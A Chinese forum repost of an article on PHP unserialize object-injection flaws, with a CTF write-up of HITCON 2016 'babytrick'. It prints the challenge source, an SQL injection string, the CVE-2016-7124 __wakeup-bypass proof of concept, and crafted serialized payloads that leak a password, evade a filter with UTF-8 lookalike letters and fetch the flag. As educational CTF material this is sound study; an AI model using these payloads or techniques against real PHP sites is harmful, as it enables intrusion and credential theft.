请选择 进入手机版 | 继续访问电脑版
查看: 408|回复: 3

【转载】由HITCON 2016一道web聊一聊php反序列化漏洞

[复制链接]
  • TA的每日心情
    慵懒
    2017-4-9 19:10
  • 签到天数: 149 天

    [LV.7]常住居民III

    发表于 2016-10-21 14:46:20 | 显示全部楼层 |阅读模式
    * 本文原创作者:grt1stnull,本文属FreeBuf原创奖励计划,未经许可禁止转载

    反序列化漏洞在各种语言中都较为常见,下面介绍一下php的反序列化漏洞。

    1.unserialize函数

    php官方文档(http://php.net/manual/en/function.unserialize.php),从中可以得到信息unserialize函数会产生一个php值,类型可能为数组、对象等等。如果被反序列化的变量为对象,在成功重构对象后php会自动调用__wakeup成员方法(如果方法存在、解构失败会返回false)同时给出了警告,不要传递给unserialize不信任的用户输入。

    理解序列化的字符串(unserlialize的参数):

    O:3:”foo”:2:{s:4:”file”;s:9:”shell.php”;s:4:”data”;s:5:”aaaaa”;}

    O:3: 参数类型为对象(object),数组(array)为a

    “foo”:2: 参数名为foo,有两个值

    S:4:”file”;s:9:”shell.php”; s:参数类型为字符串(数字为i),长度为4,值为file。长度为9的字符串shell.php

    s:4:”data”;s:5:”aaaaa”;} 长度为4的字符串data,长度为5的字符串aaaaa

    object foo,属性file:shell.php,属性data:aaaaa
    2.反序列化漏洞

    php反序列化漏洞又称对象注入,可能会导致远程代码执行(RCE)

    个人理解漏洞为执行unserialize函数,调用某一类并执行魔术方法(magic method),之后可以执行类中函数,产生安全问题。

    所以漏洞的前提:

    1)unserialize函数的变量可控

    2)php文件中存在可利用的类,类中有魔术方法
    利用场景在ctf、代码审计中常见,黑盒测试要通过检查cookie等有没有序列化的值来查看。

    反序列化漏洞比如去年12月的joomla反序列化漏洞、SugarCRM v6.5.23 PHP反序列化对象注入漏洞,ctf中比如三个白帽第三期、安恒杯web3。

    防御方法主要有对参数进行处理、换用更安全的函数。

    推荐阅读:SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析

    3.反序列化练习

    如下为一个php文件源码,我们定义了一个对象之后又创建了对象并输出了序列化的字符串

    <?php

    // 某类

    class User

    {

      // 类数据

      public $age = 0;

      public $name = '';

      // 输出数据

      public function PrintData()

      {

        echo 'User ' . $this->name . ' is ' . $this->age

          . ' years old. <br />';

      }

    }

    // 创建一个对象

    $usr = new User();

    // 设置数据  

    $usr->age = 20;

    $usr->name = 'John';  

    // 输出数据  

    $usr->PrintData();  

    // 输出序列化之后的数据  

    echo serialize($usr);

    ?>

    输出为:

    User John is 20 years old.

    O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

    以下代码同上,不过并没有创建对象,而是使用unserialize函数调用了这个类。大家可以试一下。

    <?php

    // 某类

    class User

    {

    // Class data  

      public $age = 0;

      public $name = '';  

      // Print data
    public function PrintData()

      {

        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';

      }

    }

    // 重建对象

    $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');  

    // 调用PrintData 输出数据  

    $usr->PrintData();  

    ?>

    输出为:User John is 20 years old

    这个函数中的序列化字符串为’O:4:”User”:2:{s:3:”age”;i:20;s:4:”name”;s:4:”John”;}’,即一个user对象,属性值age为20,属性值name为john。调用user类并给属性赋了值,在有魔术方法时会自动调用。

    4.writeup实战

    以本次HITCON 2016的web题babytrick为例:

    访问链接 http://52.198.42.246/ 可以看到源代码如下:

    (目前已关闭,可访问https://github.com/orangetw/My-C ... -ctf-2016/babytrick查看源码

    <?php

    include "config.php";

    class HITCON{

      private $method;

      private $args;

      private $conn;

      public function __construct($method, $args) {

        $this->method = $method;

        $this->args = $args;

        $this->__conn();

      }

      function show() {

        list($username) = func_get_args();

        $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);

        $obj = $this->__query($sql);

        if ( $obj != false ) {

          $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );

        } else {

          $this->__die("Nobody Nobody But You!");

        }  

      }

      function login() {

        global $FLAG;

        list($username, $password) = func_get_args();

        $username = strtolower(trim(mysql_escape_string($username)));

        $password = strtolower(trim(mysql_escape_string($password)));

        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

        if ( $username == 'orange' || stripos($sql, 'orange') != false ) {

          $this->__die("Orange is so shy. He do not want to see you.");

        }

        $obj = $this->__query($sql);

        if ( $obj != false && $obj->role == 'admin' ) {

          $this->__die("Hi, Orange! Here is your flag: " . $FLAG);

        } else {

          $this->__die("Admin only!");

        }

      }

      function source() {

        highlight_file(__FILE__);

      }

      function __conn() {

        global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

        if (!$this->conn)

          $this->conn = mysql_connect($db_host, $db_user, $db_pass);

        mysql_select_db($db_name, $this->conn);

        if ($DEBUG) {

          $sql = "CREATE TABLE IF NOT EXISTS users (

                username VARCHAR(64),

                password VARCHAR(64),

                role VARCHAR(64)

              ) CHARACTER SET utf8";

          $this->__query($sql, $back=false);

          $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";

          $this->__query($sql, $back=false);

        }

        mysql_query("SET names utf8");

        mysql_query("SET sql_mode = 'strict_all_tables'");

      }

      function __query($sql, $back=true) {

        $result = @mysql_query($sql);

        if ($back) {

          return @mysql_fetch_object($result);

        }

      }

      function __die($msg) {

        $this->__close();

        header("Content-Type: application/json");

        die( json_encode( array("msg"=> $msg) ) );

      }

      function __close() {

        mysql_close($this->conn);

      }

      function __destruct() {

        $this->__conn();

        if (in_array($this->method, array("show", "login", "source"))) {

          @call_user_func_array(array($this, $this->method), $this->args);

        } else {

          $this->__die("What do you do?");

        }

        $this->__close();

      }

      function __wakeup() {

        foreach($this->args as $k => $v) {

          $this->args[$k] = strtolower(trim(mysql_escape_string($v)));

        }

      }

    }

    if(isset($_GET["data"])) {

      @unserialize($_GET["data"]);  

    } else {

      new HITCON("source", array());

    }

    从源码中可以看到使用了unserialize函数并且没有过滤,且定义了类。所以想到php反序列化漏洞、对象注入。

    要想得到flag,需要利用反序列化执行类中函数login。首先需要用户orange密码(如果存在orange的话),于是利用类中show函数得到密码。

    看show函数我们可以看出未对参数进行过滤,可以进行sql注入,构造语句为:

    bla’ union select password,username,password from users where username=’orange’– –
    那么如何使用反序列化执行函数呢?注意到类中有魔术方法__wakeup,其中函数会对我们的输入进行过滤、转义。

    如何绕过__wakeup呢?谷歌发现了CVE-2016-7124,一个月前爆出的。简单来说就是当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行。参考https://bugs.php.net/bug.php?id=72663,某一种情况下,出错的对象不会被毁掉,会绕过__wakeup函数、引用其他的魔术方法。

    官方exp如下:

    <?php

    class obj implements Serializable {

      var $data;

      function serialize() {

        return serialize($this->data);

      }

      function unserialize($data) {

        $this->data = unserialize($data);

      }

    }

    $inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."".'*'."".'file";R:4;}';

    $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

    $data = unserialize($exploit);

    echo $data[1];

    ?>

    根据poc进行改造如下,计入了

    O:9:"Exception":2:{s:7:"*file";R:4;};}
    O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:8:"password";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}
    这种情况下就不会执行__wakeup方法。

    (同时该cve介绍了另一种情况,即成员属性数目大于实际数目时可绕过wakeup方法,把 O:6:”HITCON”:3 中的3改为任意比3大数字即可,如5。另一种绕过方法为对wakeup过滤的绕过,利用了sql注入中的/**/

    为什么构造的字符串为“%00HITCON%00…”呢?k14us大佬告诉我序列化时生成的序列化字符串中类名前后本来就会有0×00,url编码下为%00。可以echo(serialize($o))查看。前面举的例子之所以没用%00是因为成员属性为private。

    如果在文件里直接调试就不用url编码,直接” HITCON …”即可(%00替换为空格

    加入注入语句为:

    O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:2:{i:0;s:83:"bla’ union select password,username,password from users where username=’orange’– –";i:1;s:6:"phddaa";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}
    得到结果:

    {“msg”:”babytrick1234 is babytrick1234″}

    构造好:

    O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}
    这时会返回

    {“msg”:”Orange is so shy. He do not want to see you.”}

    接下来考虑如何绕过,注意到__conn方法中有 mysql_query(“SET names utf8″); 观察到php的字符编码不是utf8,考虑利用字符差异绕过。目前看到的两个wp利用的字母有Ą、Ã,可实现绕过。

    poc为:

    O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}
    得到了空白页面,注意到 s:6:”orÃnge” ,改为s:6:”orÃnge” ,构造如下:

    O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}
    得到了结果,很开心有木有?

    {“msg”:”Hi, Orange! Here is your flag: hitcon{php 4nd mysq1 are s0 mag1c, isn’t it?}”}
    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2019-3-28 20:02
  • 签到天数: 341 天

    [LV.8]以坛为家I

    发表于 2016-10-28 13:42:02 | 显示全部楼层
    看一下看一下
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2017-8-20 18:36
  • 签到天数: 43 天

    [LV.5]常住居民I

    发表于 2016-10-28 14:30:28 | 显示全部楼层
    没血过php.....
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2017-8-20 18:36
  • 签到天数: 43 天

    [LV.5]常住居民I

    发表于 2016-10-28 14:30:38 | 显示全部楼层
    有木c的
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表